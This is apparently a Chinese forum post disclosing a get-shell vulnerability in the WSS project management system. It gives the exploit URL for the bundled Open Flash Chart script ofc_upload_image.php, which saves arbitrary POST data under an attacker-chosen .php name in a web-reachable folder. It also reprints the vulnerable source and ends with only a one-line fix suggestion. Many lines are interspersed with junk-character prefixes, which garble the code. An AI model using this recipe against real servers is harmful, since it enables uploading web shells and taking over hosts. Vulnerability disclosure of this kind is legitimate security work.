WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

) ]2 z& O7 S; o* x利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
7 z+ q; D7 [3 d: z
Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php

& w3 k) C' E; d
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
: w* k3 l0 c7 W( f. j1 M
<?php

4 @1 r$ Z9 T$ Z, I3 k3 W$ t//
+ _0 [2 u' X) n// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
- w4 V  a6 R2 F; |; b" X2 o//
, b5 E& R3 @; L& j5 x: m
/*
, a1 z: z+ ~: T- |1 J6 m
print_r( $_GET );
, p5 c* M6 y  K! Wprint_r( $_POST );
' w# p# G: I: ~# \1 J. e6 k: V* tprint_r( $_FILES );
6 r: h( F; J. P9 A* d1 s
print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
& R' n7 `; s3 O  j8 f
*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

/ R$ _3 N& B# H7 `if (!file_exists($default_path)) mkdir($default_path, 0777, true);
9 b  C0 q; R( U% {6 w( G$ b
- O, @) \2 h5 q: D# d3 O, ^// full path to the saved image including filename //
4 r7 B3 N9 X7 b  f4 d$destination = $default_path . basename( $_GET[ 'name' ] );
% J, _- R% e8 |4 o7 l: F
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

- y; c0 y+ P9 `% a0 r//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
3 h6 N; M. c" D! z' {" w# J
$jfh = fopen($destination, 'w') or die("can't open file");
; b: B0 u  D  X/ e8 R1 A# lfwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
- f# H1 E8 d3 o) C
//
  f! |" x4 J/ I9 X4 L// LOOK:
9 r# b1 M' L5 K) i& F//
0 V, @. `5 _0 Zexit();
//
// PHP5:
) Y/ b$ f& L0 l9 h. B2 ~! _4 H//
$ m) L, A7 j, S8 S8 w" K- R* F
/ `, z% |9 I% g6 [- O
// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
+ K% Q  _+ O, v$ E1 J
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

* A1 j6 _3 K+ X) `$ e// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
+ p- W$ F& q7 J4 i# J% Y4 Q
// move the image into the specified directory //
- K* P* K! }: \* s2 Y  D2 V+ ?if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
, ~4 v$ w# T5 {! X! X6 o% X2 ?! _    echo "FILE UPLOAD FAILED";
}
- U$ ?1 x; C. y3 S9 I* v. P

?>
% p9 C! x8 V% F# m1 M

& L2 F- d+ K% ^- S4 N+ o0 N$ y

% u! Z8 H" ]+ d9 k

修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞


8 m8 P+ _* i) e3 ?( z

5 B0 N* Y% x9 Z0 n: D2 R